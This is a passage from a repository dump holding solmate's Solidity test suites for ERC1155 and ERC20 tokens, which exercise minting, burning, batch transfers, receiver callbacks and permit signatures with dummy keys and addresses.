ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);\n            assertEq(\n                token.balanceOf(address(from), id),\n                userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]\n            );\n        }\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);\n        assertBytesEq(to.batchData(), transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n            uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];\n\n            assertEq(token.balanceOf(address(to), id), transferAmount);\n            assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);\n        }\n    }\n\n    function testBatchBalanceOf(\n        address[] memory tos,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(tos.length, ids.length, amounts.length);\n\n        address[] memory normalizedTos = new address[](minLength);\n        uint256[] memory normalizedIds = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n            address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedTos[i] = to;\n            normalizedIds[i] = id;\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            token.mint(to, id, mintAmount, mintData);\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);\n\n        for (uint256 i = 0; i < normalizedTos.length; i++) {\n            assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));\n        }\n    }\n\n    function testFailMintToZero(\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        token.mint(address(0), id, amount, data);\n    }\n\n    function testFailMintToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToRevertingERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailBurnInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 burnAmount,\n        bytes memory mintData\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, id, mintAmount, mintData);\n        token.burn(to, id, burnAmount);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToZero(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new RevertingERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new WrongReturnDataERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        if (minLength == 0) revert();\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToZero(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new NonERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new RevertingERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        if (ids.length == transferAmounts.length) revert();\n\n        token.batchMint(address(from), ids, mintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);\n    }\n\n    function testFailBatchMintToZero(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(0)][id] += mintAmount;\n        }\n\n        token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintWithArrayMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == amounts.length) revert();\n\n        token.batchMint(address(to), ids, amounts, mintData);\n    }\n\n    function testFailBatchBurnInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        if (minLength == 0) revert();\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);\n\n            userMintAmounts[to][id] += normalizedMintAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == burnAmounts.length) revert();\n\n        token.batchMint(to, ids, mintAmounts, mintData);\n\n        token.batchBurn(to, ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {\n        if (tos.length == ids.length) revert();\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC20.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {ERC20User} from \"./utils/users/ERC20User.sol\";\n\ncontract ERC20Test is DSTestPlus {\n    MockERC20 token;\n\n    bytes32 constant PERMIT_TYPEHASH =\n        keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMetaData() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1e18);\n\n        assertEq(token.totalSupply(), 1e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1e18);\n        token.burn(address(0xBEEF), 0.9e18);\n\n        assertEq(token.totalSupply(), 1e18 - 0.9e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);\n    }\n\n    function testApprove() public {\n        assertTrue(token.approve(address(0xBEEF), 1e18));\n\n        assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);\n    }\n\n    function testTransfer() public {\n        token.mint(address(this), 1e18);\n\n        assertTrue(token.transfer(address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.balanceOf(address(this)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), 1e18);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.allowance(address(from), address(this)), 0);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testInfiniteApproveTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), type(uint256).max);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.allowance(address(from), address(this)), type(uint256).max);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testPermit() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n\n        assertEq(token.allowance(owner, address(0xCAFE)), 1e18);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function testFailTransferInsufficientBalance() public {\n        token.mint(address(this), 0.9e18);\n        token.transfer(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientAllowance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n        from.approve(address(this), 0.9e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientBalance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 0.9e18);\n        from.approve(address(this), 1e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailPermitBadNonce() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 1, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testFailPermitBadDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);\n    }\n\n    function testFailPermitReplay() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testMetaData(\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 tkn = new MockERC20(name, symbol, decimals);\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n        assertEq(tkn.decimals(), decimals);\n    }\n\n    function testMint(address from, uint256 amount) public {\n        token.mint(from, amount);\n\n        assertEq(token.totalSupply(), amount);\n        assertEq(token.balanceOf(from), amount);\n    }\n\n    function testBurn(\n        address from,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(from, mintAmount);\n        token.burn(from, burnAmount);\n\n        assertEq(token.totalSupply(), mintAmount - burnAmount);\n        assertEq(token.balanceOf(from), mintAmount - burnAmount);\n    }\n\n    function testApprove(address to, uint256 amount) public {\n        assertTrue(token.approve(to, amount));\n\n        assertEq(token.allowance(address(this), to), amount);\n    }\n\n    function testTransfer(address from, uint256 amount) public {\n        token.mint(address(this), amount);\n\n        assertTrue(token.transfer(from, amount));\n        assertEq(token.totalSupply(), amount);\n\n        if (address(this) == from) {\n            assertEq(token.balanceOf(address(this)), amount);\n        } else {\n            assertEq(token.balanceOf(address(this)), 0);\n            assertEq(token.balanceOf(from), amount);\n        }\n    }\n\n    function testTransferFrom(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, 0, approval);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n\n        from.approve(address(this), approval);\n\n        assertTrue(token.transferFrom(address(from), to, amount));\n        assertEq(token.totalSupply(), amount);\n\n        uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;\n        assertEq(token.allowance(address(from), address(this)), app);\n\n        if (address(from) == to) {\n            assertEq(token.balanceOf(address(from)), amount);\n        } else {\n            assertEq(token.balanceOf(address(from)), 0);\n            assertEq(token.balanceOf(to), amount);\n        }\n    }\n\n    function testPermit(\n        uint248 privKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        uint256 privateKey = privKey;\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n\n        assertEq(token.allowance(owner, to), amount);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function 